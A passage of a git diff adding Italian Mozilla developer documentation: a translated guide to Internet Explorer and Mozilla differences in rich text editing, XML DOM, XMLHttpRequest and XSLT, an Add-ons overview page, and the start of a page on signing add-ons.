+<p>Mentre Mozilla si vanta di essere il milgior browser attinente agli standard W3C, supporta inoltre funzionalità standard, come <code>innerHTML</code> ed il <a href="/it/Midas" title="it/Midas">rich text editing</a>, nel momento in cui non esistenti equivalenti W3C.</p>
+
+<p>Mozilla 1.3 ha introdotto una implementazione del <a href="/it/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode" title="it/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode">designMode</a> di Internet Explorer, che converte un documento HTML in un rich text editor. Una volta fatto questo, possono essere esguiti comandi attraverso il comando <code>execCommand</code>. Mozilla non supporta l'attributo <code>contentEditable</code> di Internet Explorer per rendere ogni widget modificabile. Si può usare un iframe per aggiungere un rich text editor.</p>
+
+<h4 id="Differenze_nel_Rich_text" name="Differenze_nel_Rich_text">Differenze nel Rich text</h4>
+
+<p>Mozilla supporta lo standard W3C per accedere all'oggetto document di un iframe attraverso <code>IFrameElmRef.contentDocument</code>, mentre Internet Explorer richiede l'accesso attraverso <code>document.frames{{ mediawiki.external('\"IframeName\"') }}</code> e poi l'accesso al <code>document</code> risultante.</p>
+
+<pre>&lt;script&gt;
+function getIFrameDocument(aID) {
+  var rv = null;
+
+  // if contentDocument exists, W3C compliant (Mozilla)
+  if (document.getElementById(aID).contentDocument){
+    rv = document.getElementById(aID).contentDocument;
+  } else {
+    // IE
+    rv = document.frames[aID].document;
+  }
+  return rv;
+}
+&lt;/script&gt;
+</pre>
+
+<p>Un'altra differenza tra Internet Explorer e Mozilla è nell'HTML creato dal rich text editor. Mozilla usa come modo predefinito i CSS per i marcatori generati. In ogni caso, Mozilla permette anche di scegliere tra i modi HTML e CSS usando il comando execCommand <code>useCSS</code> e scegliendo tra i valori true e false. Internet Explorer usa sempre il modo HTML.</p>
+
+<pre>Mozilla (CSS):
+  &lt;span style="color: blue;"&gt;Big Blue&lt;/span&gt;
+
+Mozilla (HTML):
+  &lt;font color="blue"&gt;Big Blue&lt;/font&gt;
+
+Internet Explorer:
+  &lt;FONT color="blue"&gt;Big Blue&lt;/FONT&gt;
+</pre>
+
+<p>Sotto una lista di comandi supportati in execCommand di Mozilla:</p>
+
+<table class="standard-table">
+ <caption>Tabella 6. Comandi rich text editing</caption>
+ <tbody>
+  <tr>
+   <th>Nome comando</th>
+   <th>Descrizione</th>
+   <th>Argomento</th>
+  </tr>
+  <tr>
+   <td>bold</td>
+   <td>Cambia l'attributo bold (grassetto) della selezione.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>createlink</td>
+   <td>genera un link HTML dal testo selezionato.</td>
+   <td>URL da usare per il link</td>
+  </tr>
+  <tr>
+   <td>delete</td>
+   <td>Cancella la selezione.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>fontname</td>
+   <td>Cambia il font usato nel testo selezionato.</td>
+   <td>Nome del font da usare (ad esempio Arial)</td>
+  </tr>
+  <tr>
+   <td>fontsize</td>
+   <td>Cambia la dimensione del font usato nel testo selezionato.</td>
+   <td>Dimensione da usare</td>
+  </tr>
+  <tr>
+   <td>fontcolor</td>
+   <td>Cambia il colore del font usato nel testo selezionato.</td>
+   <td>Colore da usare</td>
+  </tr>
+  <tr>
+   <td>indent</td>
+   <td>Indenta il blocco su cui è posizionato il cursore.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>inserthorizontalrule</td>
+   <td>Inserisce un elemeto &lt;hr&gt; alla posizione del cursore.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>insertimage</td>
+   <td>Inserisce una immagine alla posizione del cursore.</td>
+   <td>URL dell'immagine da usare</td>
+  </tr>
+  <tr>
+   <td>insertorderedlist</td>
+   <td>Inserisce un elemento di lista ordinata (&lt;ol&gt;) alla posizione del cursore.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>insertunorderedlist</td>
+   <td>Inserisce un elemento di lista non ordinata (&lt;ul&gt;) alla posizione del cursore.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>italic</td>
+   <td>Cambia l'attributo italic (corsivo) della selezione.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifycenter</td>
+   <td>Centra il contenuto della linea corrente.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifyleft</td>
+   <td>Giustifica il contenuto della linea corrente a sinistra.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifyright</td>
+   <td>Giustifica il contenuto della linea corrente a destra.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>outdent</td>
+   <td>Indenta all'indietro il blocco su cui è posizionato il cursore.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>redo</td>
+   <td>Riesegue un comando precedentemente annullato</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>removeformat</td>
+   <td>Rimuove la formattazione del testo selezionato</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>selectall</td>
+   <td>Seleziona tutto all'interno del rich text editor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>strikethrough</td>
+   <td>Cambia l'attributo strikethrough (segnato) della selezione.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>subscript</td>
+   <td>Converte la selezione corrente in pedice.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>superscript</td>
+   <td>Converte la selezione corrente in apice.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>underline</td>
+   <td>Cambia l'attributo underline (sottolineato) della selezione.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>undo</td>
+   <td>Annulla l'ultimo comando eseguito</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>unlink</td>
+   <td>Rimuove le informazioni di link del testo selezionato.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>useCSS</td>
+   <td>Cambia l'uso dei CSS nel marcatore generato</td>
+   <td>Valore booleano</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Per altre informazioni, consultare <a href="/it/Rich-Text_Editing_in_Mozilla" title="it/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a>.</p>
+
+<h3 id="Differenze_in_XML" name="Differenze_in_XML">Differenze in XML</h3>
+
+<p>Mozilla ha un robusto supporto per XML e tecnologie ad esso correlato, come <a href="/it/XSLT" title="it/XSLT">XSLT</a> e Web service. Supporta inoltrer alcune estensioni non standard di Internet Explorer, come <code><a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a></code>.</p>
+
+<h4 id="Come_gestire_XML" name="Come_gestire_XML">Come gestire XML</h4>
+
+<p>Come con lo standard HTML, Mozilla supporta le specifiche W3C XML DOM, che permettono di manipolare quasi ogni aspetto di un documento XML. Differenze tra il DOM XML in Internet Explorer e Mozilla sono solitamente causate da comportamenti non standard di Internet Explorer. Probabilmente la più comune è la gestione nodi di spazi bianchi. Solitamente un documento generato in XML contiene spazi tra i nodi XML. Internet Explorer, nell'uso di <code><a href="/it/DOM/element.childNodes" title="it/DOM/element.childNodes">Node.childNodes</a></code>, non contiene tali nodi di spazio. In Mozilla, questi nodi saranno contenuti nell'array.</p>
+
+<pre>XML:
+  &lt;?xml version="1.0"?&gt;
+  &lt;myXMLdoc xmlns:myns="http://myfoo.com"&gt;
+    &lt;myns:foo&gt;bar&lt;/myns:foo&gt;
+  &lt;/myXMLdoc&gt;
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  alert(myXMLDoc.childNodes.length);
+</pre>
+
+<p>La prima linea di javaScript carica il documento XML ed accede all'elemento radice (<code>myXMLDoc</code>) usando <code><a href="/it/DOM/document.documentElement" title="it/DOM/document.documentElement">documentElement</a></code>. La seconda linea semplicemente annuncia il numero di nodi figli. Secondo le specifiche W3C, gli spazi bianchi ed i ritorno a capo si fondono in un solo nodo di testo, se essi si susseguono. Per Mozilla, il nodo <code>myXMLdoc</code> ha tre figli: un nodo testo contenente un ritorno a capo e due spazi; il nodo the <code>myns:foo</code>: ed un altro nodo di testo con un ritorno a capo. Internet Explorer, comunque, Internet Explorer non tollera questo e ritorna "1" per il codice soprastante, indicando solo il nodo <code>myns:foo</code>. Per questo, per scorrere gli elementi figli evitando i nodi testo, questi vanno identificati.</p>
+
+<p>Come detto prima, ogni nodo ha una proprietà <code><a href="/it/DOM/element.nodeType" title="it/DOM/element.nodeType">nodeType</a></code> rappresentante il tipo di nodo. Ad esempio, un nodo element ha tipo1, mentre un nodo document ha tipo 9. Per evitare i nodi di testo, è sufficiente controllare i tipi 3 (nodo testo) e 8 (nodo commento).</p>
+
+<pre>XML:
+  &lt;?xml version="1.0"?&gt;
+  &lt;myXMLdoc xmlns:myns="http://myfoo.com"&gt;
+    &lt;myns:foo&gt;bar&lt;/myns:foo&gt;
+  &lt;/myXMLdoc&gt;
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  var myChildren = myXMLDoc.childNodes;
+
+  for (var run = 0; run &lt; myChildren.length; run++){
+    if ( (myChildren[run].nodeType != 3) &amp;&amp;
+          myChildren[run].nodeType != 8) ){
+      // not a text or comment node
+    };
+  };
+</pre>
+
+<p>Vedere <a href="/it/Spazi_nel_DOM" title="it/Spazi_nel_DOM">Spazi nel DOM</a> per una discussione dettagliata e possibili soluzioni.</p>
+
+<h4 id="Isole_dati_XML" name="Isole_dati_XML">Isole dati XML</h4>
+
+<p>Internet Explorer ha una caratteristica non standard chiamata <a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/xml.asp">Isole dati XML</a> (XML data islands), che permette di integrare XML all'interno di tag di un documento HTML. La stessa funzionalità è raggiungibile tramite l'uso di XHTML: comunque, poiché il supporto ad XHTML di Internet Explorer è debole, questa non si rivela una opzione usuale.</p>
+
+<p>IE XML data island:</p>
+
+<pre class="eval">&lt;xml id="xmldataisland"&gt;
+  &lt;foo&gt;bar&lt;/foo&gt;
+&lt;/xml&gt;
+</pre>
+
+<p><br>
+ Una soluzione cross-browser consiste nell'usare i parser DOM, che effettuano i parsing di una stringa che contiene un documento XML serializzato e generano il documento per l'XML sottoposto al parsing. Mozilla usa l'oggetto <code><a href="/it/DOMParser" title="it/DOMParser">DOMParser</a></code>, che prende una stringa serializzata e genera un documento da essa. Il codice seguente mostra come:</p>
+
+<pre class="eval">var xmlString = "&lt;xml id=\"xmldataisland\"&gt;&lt;foo&gt;bar&lt;/foo&gt;&lt;/xml&gt;";
+var myDocument;
+
+if (window.DOMParser) {
+  // This browser appears to support DOMParser
+  var parser = new DOMParser();
+  myDocument = parser.parseFromString(xmlString, "text/xml");
+} else if (window.ActiveXObject){
+  // Internet Explorer, create a new XML document using ActiveX
+  // and use loadXML as a DOM parser.
+  myDocument = new ActiveXObject("Microsoft.XMLDOM");
+  myDocument.async = false;
+
+  myDocument.loadXML(xmlString);
+} else {
+  // Not supported.
+}
+</pre>
+
+<p>vedere <a href="/it/Uso_di_Isole_dati_XML_in_Mozilla" title="it/Uso_di_Isole_dati_XML_in_Mozilla">Uso di Isole dati XML in Mozilla</a> per un approccio alternativo.</p>
+
+<h4 id="XMLHttpRequest" name="XMLHttpRequest">XMLHttpRequest</h4>
+
+<p>Internet Explorer permette di inviare e ricevere file XML usando la classe MSXML <code>XMLHTTP</code>. Istanzata attraverso ActiveX usando <code>new ActiveXObject("Msxml2.XMLHTTP")</code> o <code>new ActiveXObject("Microsoft.XMLHTTP")</code>. Poiché non esiste metodo standard per fare questo, Mozilla fornisce la stessa funzionalità nell'oggetto globale <code><a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a></code>. Dalla versione 7 IE stesso supporta un oggetto <code>XMLHttpRequest</code> "nativo".</p>
+
+<p>Dopo aver instanziato l'oggetto usando <code>new XMLHttpRequest()</code>, si può usare il metodo <code>open</code> per specificare il tipo di richiesta (GET o POST) da usare, quale file caricare, e l'asincronicità o meno della chiamata. Se la chiamata è asincrona, va dato un riferimento a funzione al membro <code>onload</code>, chiamato una volta completata la richiesta.</p>
+
+<p>Synchronous request:</p>
+
+<pre class="eval">var myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "data.xml", false);
+
+myXMLHTTPRequest.send(null);
+
+var myXMLDocument = myXMLHTTPRequest.responseXML;
+</pre>
+
+<p>Asynchronous request:</p>
+
+<pre class="eval">var myXMLHTTPRequest;
+
+function <span class="boldcode">xmlLoaded</span>() {
+  var myXMLDocument = myXMLHTTPRequest.responseXML;
+}
+
+function loadXML(){
+  myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "data.xml", true);
+  myXMLHTTPRequest.onload = <span class="boldcode">xmlLoaded</span>;
+  myXMLHTTPRequest.send(null);
+}
+</pre>
+
+<p>La Tabella 7 mostra a lista di metodi e proprietà disponibili per <code><a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a></code> di Mozilla.</p>
+
+<table class="standard-table">
+ <caption>Tabella 7. Proprietà e metodi XMLHttpRequest</caption>
+ <tbody>
+  <tr>
+   <th>Nome</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td>void abort()</td>
+   <td>Ferma la richiesta se ancora in esecuzione.</td>
+  </tr>
+  <tr>
+   <td>string getAllResponseHeaders()</td>
+   <td>Ritorna tutte le intestazioni di risposta in un'unica stringa.</td>
+  </tr>
+  <tr>
+   <td>string getResponseHeader(string headerName)</td>
+   <td>Ritorna il valore dell'intestazione specificata.</td>
+  </tr>
+  <tr>
+   <td>functionRef onerror</td>
+   <td>Se impostata, la funzione riferita viene chiamata ogni qualvolta si presenta un errore durante la richiesta.</td>
+  </tr>
+  <tr>
+   <td>functionRef onload</td>
+   <td>Se impostata, la funzione riferita viene chiamata quando la richiesta termina con successo e viene ricevuta la risposta. Metodo usato per richieste asincrone.</td>
+  </tr>
+  <tr>
+   <td>void open (string HTTP_Method, string URL)<br>
+    <br>
+    void open (string HTTP_Method, string URL, boolean async, string userName, string password)</td>
+   <td>Inizializza la richiesta per lo URL dato, usando uno dei metodi HTTP GET o POST. Per inviare la richiesta, viene chiamato il metodo <code>send()</code> dopo l'inizializzazione. Se <code>async</code> è false, la richiesta è sincrona, altrimento automaticamente asincrona. Opzionalmente, possono essere specificati username e password per lo URL se necessario.</td>
+  </tr>
+  <tr>
+   <td>int readyState</td>
+   <td>Stato della richiesta. valori possibili:
+    <table>
+     <tbody>
+      <tr>
+       <th>Valore</th>
+       <th>Descrizione</th>
+      </tr>
+      <tr>
+       <td>0</td>
+       <td>UNINITIALIZED - open() non è ancora stato chiamato.</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>LOADING - send() non è ancora stato chiamato.</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>LOADED - send() è stato chiamato, sono disponibili stato e intestazioni.</td>
+      </tr>
+      <tr>
+       <td>3</td>
+       <td>INTERACTIVE - In fase di download, responseText mantiene i dati parziali.</td>
+      </tr>
+      <tr>
+       <td>4</td>
+       <td>COMPLETED - Tutte le operazioni terminate.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td>string responseText</td>
+   <td>Stringa contenente la risposta.</td>
+  </tr>
+  <tr>
+   <td>DOMDocument responseXML</td>
+   <td>DOM Document contenente la risposta.</td>
+  </tr>
+  <tr>
+   <td>void send(variant body)</td>
+   <td>Inizia la richiesa. Se <code>body</code> è definito, viene inviato come corpo della richiesta POST. <code>body</code> puo essere un XML document o un XML document serializzato come stringa.</td>
+  </tr>
+  <tr>
+   <td>void setRequestHeader (string headerName, string headerValue)</td>
+   <td>Imposta una intestazione HTTP da usare per la richista. Deve essere invocato dopo la chiamata di <code>open()</code>.</td>
+  </tr>
+  <tr>
+   <td>string status</td>
+   <td>Codice di stato della risposta HTTP.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Differenze_in_XSLT" name="Differenze_in_XSLT">Differenze in XSLT</h4>
+
+<p>Mozilla supporta XSL Transformations (<a href="/it/XSLT" title="it/XSLT">XSLT</a>) 1.0. Permette inoltre a JavaScript di eseguire trasformazioni XSLT e di eseguire <a href="/it/XPath" title="it/XPath">XPath</a> su un documento.</p>
+
+<p>Mozilla richiede di inviare i file XML ed XSLT con un mimetype XML (<code>text/xml</code> or <code>application/xml</code>). Questa è la ragione più comune per cui XSLT solitamente non funziona con Mozilla ma funziona con Internet Explorer. Mozilla è molto esigente per questo.</p>
+
+<p>Internet Explorer 5.0 e 5.5 supportano il working draft di XSLT, il quale è sostanzialmente differente dalla raccomandazione finale 1.0. Un semplice modo per distinguere quale versione viene utilizzata per scrivere un file XSLT è dato dal controllo del namespace. Il namespace per la raccomandazione 1.0 è <code><span class="nowiki">http://www.w3.org/1999/XSL/Transform</span></code>, mentre il namespace del draft è <code><span class="nowiki">http://www.w3.org/TR/WD-xsl</span></code>. Internet Explorer 6 supporta il draft per retrocompatibilità ma Mozilla non supporta il draft, ma solo la raccomandazione finale.</p>
+
+<p>Se XSLT richiede l'identificazione del browser, è possibile interrogare la proprietà di sistema "xsl:vendor". Il motore XSLT di Mozilla dà come risposta "Transformiix", e Internet Explorer risponde "Microsoft".</p>
+
+<pre>&lt;xsl:if test="system-property('xsl:vendor') = 'Transformiix'"&gt;
+  &lt;!-- Mozilla specific markup --&gt;
+&lt;/xsl:if&gt;
+&lt;xsl:if test="system-property('xsl:vendor') = 'Microsoft'"&gt;
+  &lt;!-- Internet Explorer specific markup --&gt;
+&lt;/xsl:if&gt;
+</pre>
+
+<p>Mozilla fornisce inoltre interfacce JavaScript per XSLT, permettendo ad un sito Web di completare trasformazioni XSLT in memoria, attraverso l'oggetto globale <code><a href="/it/XSLTProcessor" title="it/XSLTProcessor">XSLTProcessor</a></code>. <code>XSLTProcessor</code> richiede di caricare i file XML ed XSLT, in quanto necessita i loro DOM document. Il document XSLT, importato attraverso <code>XSLTProcessor</code>, permette di manipolare parametri XSLT.</p>
+
+<p><code>XSLTProcessor</code> può generare un documento a sé usando <code>transformToDocument()</code>, o creare un frammento di documento tramite <code>transformToFragment()</code>, che può essere facilmente aggiunto ad un altro document DOM. Un esempio sotto:</p>
+
+<pre>var xslStylesheet;
+var xsltProcessor = new XSLTProcessor();
+
+// load the xslt file, example1.xsl
+var myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xsl", false);
+myXMLHTTPRequest.send(null);
+
+// get the XML document and import it
+xslStylesheet = myXMLHTTPRequest.responseXML;
+
+xsltProcessor.importStylesheet(xslStylesheet);
+
+// load the xml file, example1.xml
+myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xml", false);
+myXMLHTTPRequest.send(null);
+
+var xmlSource = myXMLHTTPRequest.responseXML;
+
+var resultDocument = xsltProcessor.transformToDocument(xmlSource);
+</pre>
+
+<p>Dopo la creazione di un <code>XSLTProcessor</code>, è possibile caricare un file XSLT usando <code>XMLHttpRequest</code>. Il membro <code>responseXML</code> di XMLHttpRequest contiene il documento XML per il file XSLT, il quale viene passato <code>importStylesheet</code>. Si può ancora usare <code>XMLHttpRequest</code> per caricare il documento sorgente XML da trasformare; tale documento viene passato al metodo <code>transformToDocument</code> metodo di <code>XSLTProcessor</code>. La Tabella 8 mostra una lista di metodi <code>XSLTProcessor</code>.</p>
+
+<table class="standard-table">
+ <caption>Tabella 8. Metodi XSLTProcessor</caption>
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td>void importStylesheet(Node styleSheet)</td>
+   <td>Importa il foglio di stile XSLT. L'argomento <code>styleSheet</code> è il nodo radice del documento DOM del foglio si stile XSLT.</td>
+  </tr>
+  <tr>
+   <td>DocumentFragment transformToFragment(Node source, Document owner)</td>
+   <td>Trasforma il nodo <code>source</code> applicando il foglio di stile importato tramite il metodo <code>importStylesheet</code> e genera un DocumentFragment. <code>owner</code> il documento DOM a cui DocumentFragment deve appartenere, permettendone l'aggiunta.</td>
+  </tr>
+  <tr>
+   <td>Document transformToDocument(Node source)</td>
+   <td>Trasforma il nodo <code>source</code> applicando il foglio di stile importato usando <code>importStylesheet</code> e ritorna un documento DOM a sé.</td>
+  </tr>
+  <tr>
+   <td>void setParameter(String namespaceURI, String localName, Variant value)</td>
+   <td>Imposta un parametro nel foglio di stile XSLT importato.</td>
+  </tr>
+  <tr>
+   <td>Variant getParameter(String namespaceURI, String localName)</td>
+   <td>Ritorna il valore di un parametro nel foglio di stile XSLT importato.</td>
+  </tr>
+  <tr>
+   <td>void removeParameter(String namespaceURI, String localName)</td>
+   <td>Rimuove tutti i valori impostati nel foglio di stile XSLT e riporta i parametri ai valori predefiniti</td>
+  </tr>
+  <tr>
+   <td>void clearParameters()</td>
+   <td>Removes all set parameters and sets them to defaults specified in the XSLT stylesheet.</td>
+  </tr>
+  <tr>
+   <td>void reset()</td>
+   <td>Rimuove tutti i parametri e fogli di stile.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Doron Rosenberg, IBM Corporation</li>
+ <li>Published: 26 Jul 2005</li>
+ <li>Link: <a class="external" href="http://www.ibm.com/developerworks/web/library/wa-ie2mozgd/" rel="freelink">http://www.ibm.com/developerworks/we...y/wa-ie2mozgd/</a></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/it/mozilla/add-ons/index.html b/files/it/mozilla/add-ons/index.html
new file mode 100644
index 0000000000..a9545252da
--- /dev/null
+++ b/files/it/mozilla/add-ons/index.html
@@ -0,0 +1,93 @@
+---
+title: Componenti aggiuntivi
+slug: Mozilla/Add-ons
+tags:
+  - Add-ons
+  - TopicStub
+translation_of: Mozilla/Add-ons
+---
+<div>{{AddonSidebar}}</div>
+
+<div class="summary">Modifica ed espandi le applicazioni Mozilla</div>
+
+<p><span class="seoSummary">I componenti aggiuntivi arricchiscono di nuove funzionalità le applicazioni basate su <a href="/it/docs/Gecko">Gecko</a> come Firefox, SeaMonkey e Thunderbird.</span><strong> </strong>Esistono due diversi tipi di componenti aggiuntivi: le <a href="#Estensioni">estensioni</a> che aggiungono nuove funzionalità all'applicazione, mentre i <a href="#Temi">temi</a> modificano l'interfaccia utente.</p>
+
+<p>Sia le estensioni che i temi vengono raccolti in un repository gestito da Mozilla su <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, noto anche come AMO. Quando uno sviluppatore sceglie di <a href="/en-US/Add-ons/Submitting_an_add-on_to_AMO">caricare un componente aggiuntivo su AMO</a>, esso viene sottoposto a una revisione e, se la supera, pubblicato sul sito per essere scaricato dagli utenti. Sottoporre i propri componenti aggiuntivi ad AMO non è obbligatorio, tuttavia costituisce la garanzia per gli utenti che il componente sia stato revisionato e offre agli sviluppatori visibilità su una piattaforma riconosciuta come fonte di applicazioni utili.</p>
+
+<p>I componenti aggiuntivi possono alterare in maniera significativa il funzionamento dell'applicazione che li ospita. Mozilla ha quindi sviluppato una <a href="/en-US/docs/Mozilla/Add-ons/Add-on_guidelines">serie di linee guida</a> per assicurare che ogni componente offra all'utente un'esperienza ottimale. Queste linee guida sono valide per tutti i tipi di componente aggiuntivo, che siano ospitati sul server di <a href="https://addons.mozilla.org/">addons.mozilla.org</a> o meno.</p>
+
+<hr>
+<h2 id="Estensioni"><a name="Extensions">Estensioni</a></h2>
+
+<p>Le estensioni aggiungono nuove funzionalità alle applicazioni sviluppate da Mozilla come Firefox o Thunderbird. Possono integrare il browser con funzioni particolari, come per esempio un sistema alternativo per gestire le schede, e modificare i contenuti web per migliorare l'accessibilità o la sicurezza di un sito particolare.</p>
+
+<p>Le estensioni possono essere sviluppate con tre tecniche diverse: estensioni basate su Add-on SDK, estensioni che si avviano manualmente senza richiedere il riavvio del browser ed estensioni overlay.</p>
+
+<ul class="card-grid">
+ <li><span><a href="https://developer.mozilla.org/it/docs/Mozilla/Add-ons/SDK">Estensioni con Add-on SDK</a></span><br>
+  Sviluppare estensioni con riavvio non richiesto grazie a una raccolta di API JavaScript di livello avanzato.</li>
+ <li><span><a href="/en-US/Add-ons/Bootstrapped_extensions">Estensioni con riavvio non richiesto</a></span><br>
+  Sviluppare estensioni che funzionano dalla prima attivazione senza bisogno di riavviare il browser.</li>
+ <li><a href="/en-US/Add-ons/Overlay_Extensions"><span>Estensioni overlay</span></a><br>
+  Sviluppare estensioni tradizionali che utilizzano un overlay XUL.</li>
+</ul>
+
+<p>Quando possibile, è consigliabile utilizzare Add-on SDK, che sfrutta lo stesso meccanismo delle estensioni con riavvio non richiesto ma semplificando alcune operazioni ed eliminando automaticamente il codice superfluo. In caso Add-on SDK non soddisfi le proprie esigenze, l'alternativa è implementare manualmente un'estensione con riavvio non richiesto. Le estensioni overlay sono attualmente obsolete, anche se ne rimane in circolazione un numero elevato.</p>
+
+<p>Per un approfondimento su quale tecnica sia più opportuno scegliere, ecco un <a href="/en-US/Add-ons/Comparing_Extension_Toolchains">articolo comparativo</a>.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Pratiche_consigliate">Pratiche consigliate</h3>
+
+<p>Indipendentemente dalle modalità con cui si sceglie di sviluppare un'estensione, esistono linee guida comuni da rispettare per garantire che il proprio componente offra la migliore esperienza utente possibile.</p>
+
+<dl>
+ <dt><a href="/en-US/Add-ons/Performance_best_practices_in_extensions">Prestazioni</a></dt>
+ <dd>Come rendere un'estensione veloce, reattiva e ottimizzata nel consumo della memoria.</dd>
+ <dt><a href="/en-US/Add-ons/Security_best_practices_in_extensions">Sicurezza</a></dt>
+ <dd>Come evitare di esporre l'utente a siti dannosi.</dd>
+ <dt><a href="/en-US/Add-ons/Extension_etiquette">Etichetta</a></dt>
+ <dd>Come gestire l'interazione con altre estensioni correttamente.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h3 id="Nozioni_specifiche_per_applicazione">Nozioni specifiche per applicazione</h3>
+
+<p>La maggior parte della documentazione è scritta pensando a chi sviluppa per Firefox Desktop. Gli sviluppatori che intendono progettare per altre applicazioni basate su Gecko devono prendere atto di alcune differenze fondamentali.</p>
+
+<dl>
+ <dt><a href="/en-US/Add-ons/Thunderbird">Thunderbird</a></dt>
+ <dd>Sviluppare estensioni per il client di posta elettronica Thunderbird.</dd>
+ <dt><a href="/en-US/Add-ons/Firefox_for_Android">Firefox per Android</a></dt>
+ <dd>Sviluppare estensioni per la versione di Firefox per il sistema operativo Android.</dd>
+ <dt><a href="/en-US/Add-ons/SeaMonkey_2">SeaMonkey</a></dt>
+ <dd>Sviluppare estensioni per la suite di applicazioni <a href="http://www.seamonkey-project.org/">SeaMonkey</a>.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Temi"><a name="Themes">Temi</a></h2>
+
+<p>I Temi sono componenti aggiuntivi in grado di personalizzare l'interfaccia utente dell'applicazione. Esistono due tipi di tema: temi di sfondo (o semplicemente "temi") e temi completi.</p>
+
+<div class="column-container">
+<div class="column-half">
+<p>I <a href="https://addons.mozilla.org/it/developers/docs/themes">temi di sfondo</a> sono significativamente più semplici da implementare rispetto ai temi completi, ma offrono un livello di personalizzazione più limitato.</p>
+</div>
+
+<div class="column-half">
+<p>I <a href="/it/docs/Temi">temi completi</a> consentono modifiche più radicali all'interfaccia utente dell'applicazione. La documentazione sui temi completi è attualmente incompleta, ma viene qui citata in previsione di futuri aggiornamenti.</p>
+</div>
+</div>
+
+<hr>
+<h2 id="Altri_tipi_di_componente_aggiuntivo">Altri tipi di componente aggiuntivo</h2>
+
+<p>I <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">plugin dei motori di ricerca</a> sono un tipo di componente aggiuntivo semplice e specifico: aggiungono nuovi motori alla barra di ricerca del browser.</p>
+
+<p>I <a href="/en-US/docs/Plugins">plugin</a> consentono all'applicazione di elaborare contenuti non supportati nativamente. Mozilla sta tentando di scoraggiare l'implementazione dei plugin, che hanno in passato causato problemi di stabilità, prestazioni e sicurezza.</p>
+
+<hr>
diff --git a/files/it/mozilla/add-ons/kaspersky/index.html b/files/it/mozilla/add-ons/kaspersky/index.html
new file mode 100644
index 0000000000..dd6dcd576c
--- /dev/null
+++ b/files/it/mozilla/add-ons/kaspersky/index.html
@@ -0,0 +1,82 @@
+---
+title: Firma e distribuzione del vostro componente aggiuntivo
+slug: Mozilla/Add-ons/kaspersky
+translation_of: Mozilla/Add-ons/Distribution
+---
+<p>Dopo che avete compilato il vostro add-on, voi vorrete distribuirlo di modo che gli altri possano provarlo. Sia che vogliate distribuirlo pubblicamente o privatamente, attraverso <a href="https://addons.mozilla.org/">addons.mozilla.org</a> (AMO) o altrove, voi vorrete avere il vostro pacchetto add-on firmato.</p>
+
+<h2 id="Firmare_il_vostro_add-on">Firmare il vostro add-on</h2>
+
+<p>Ad iniziare dalla versione n. 43 di Firefox, esistono delle restrizioni per distribuire un componente aggiuntivo. <span id="result_box" lang="it"><span>Le estensioni e i programmi di installazione multipackage che supportano Firefox devono essere firmati da Mozilla affinché possano essere installati nelle versioni beta e di rilascio di Firefox.</span> <span>Si noti che questo si applica solo ai componenti aggiuntivi di tipo 2 e 32;</span> </span> <a href="/en-US/Add-ons/Install_Manifests#type">altri tipi di componenti aggiuntivi</a> <span lang="it"><span>come temi e language pack non richiedono la firma.</span> <span>Sono esclusi anche i componenti aggiuntivi che supportano solo altre applicazioni come Thunderbird e SeaMonkey.</span> <span>I componenti aggiuntivi non firmati possono ancora essere installati nelle versioni </span></span><a href="/en-US/Firefox/Developer_Edition">Developer Edition</a>,<span lang="it"><span> Nightly e versioni </span></span><a href="/en-US/Firefox/Enterprise_deployment">ESR</a> <span lang="it"><span>di Firefox, dopo aver attivato la preferenza 